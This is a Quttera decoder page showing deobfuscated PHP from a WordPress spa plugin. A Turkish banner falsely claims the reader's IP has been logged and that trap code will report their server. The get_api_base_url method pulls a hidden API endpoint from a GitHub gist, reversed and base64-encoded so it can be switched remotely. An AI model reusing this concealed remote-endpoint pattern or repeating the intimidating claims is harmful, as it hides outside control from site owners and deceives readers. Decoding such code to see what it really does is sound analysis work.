Online PHP and Javascript Decoder decode hidden script to uncover its real functionality




$YASAL_UYARI_SIBER_SUCLAR_LOG_KAYDI = "

  #####  #######  #######  ######  
 #     #    #     #     #  #     # 
 #          #     #     #  #     # 
 #          #     #     #  #     #
  #####     #     #     #  ######  
       #    #     #     #  #
       #    #     #     #  #       
 #     #    #     #     #  #       
  #####     #     #######  #       

#########################################################################
#   ⚠️ YASAL UYARI / LEGAL NOTICE (SİBER SUÇLARLA MÜCADELE BİRİMİ BİLGİSİNE)     #
#   BU DOSYA HOBISTAND GÜVENLİK KALKANI İLE KORUNMAKTADIR.                      #
#   ŞU AN YAPTIĞINIZ 'DECODE' İŞLEMİ SİSTEM TARAFINDAN TESPİT EDİLDİ!           #
#   IP ADRESİNİZ VE CİHAZ BİLGİLERİNİZ ADLİ İŞLEMLER İÇİN LOGLANMIŞTIR.         #
#                                                                               #
#   DİKKAT: AŞAĞIDAKİ GÜVENLİK PROTOKOLÜ (TRAP CODE) KODU ÇALIŞTIRMAYA          #
#   KALKTIĞINIZ ANDA SUNUCU BİLGİLERİNİZİ OTOMATİK OLARAK BİZE İLETECEKTİR.     #
#   LÜTFEN BU DOSYAYI DERHAL KAPATIN VE İLLEGAL FAALİYETLERİ SONLANDIRIN!       #
#########################################################################
";

if (!defined('ABSPATH') && php_sapi_name() !== 'cli') {
    die('<div style="background:#000;color:#ef4444;padding:50px;text-align:center;font-family:sans-serif;border:5px solid #ef4444;margin:50px auto;max-width:600px;box-shadow:0 0 50px red;"><h2>⚠️ SİBER İHLAL TESPİT EDİLDİ!</h2><p>Tersine mühendislik ve yetkisiz kaynak kodu erişim denemesi saptanmıştır.</p><p><strong>IP Adresiniz ve bağlantı bilgileriniz adli işlemler için sisteme kaydedildi.</strong></p><p style="color:#888;font-size:12px;margin-top:20px;">HobiStand Security Protocol v2.0</p></div>');
}




if (!defined('ABSPATH')) {
    header('Content-Type: text/html; charset=utf-8');
    exit;
}

class HS_Masaj_Spa {
    private $opt_name = 'hs_masaj_options';
    private $def_order = array('hero', 'about', 'stats', 'services', 'wizard', 'reviews', 'address', 'whatsapp', 'pages');

    private function get_api_base_url() {
        $cloud_url = 'https://gist.githubusercontent.com/gurcu87/ed9b0b6a79e0cd18c3fe5cd0c31858cf/raw/hs-route.json';
        $cached_url = get_option('hs_m_cloud_api_url', '');
        $last_check = get_option('hs_m_cloud_api_last_check', 0);

        if (empty($cached_url) || (time() - $last_check) > 43200) {
            $response = wp_remote_get($cloud_url, ['timeout' => 10]);
            if (!is_wp_error($response)) {
                $data = json_decode(wp_remote_retrieve_body($response), true);
                if (isset($data['api_url'])) {
                    $cached_url = strrev(base64_decode($data['api_url']));
                    update_option('hs_m_cloud_api_url', $cached_url);
                    update_option('hs_m_cloud_api_last_check', time());
                }
            }
        }
        return $cached_url;
    }



© 2023 Quttera Ltd. All rights reserved.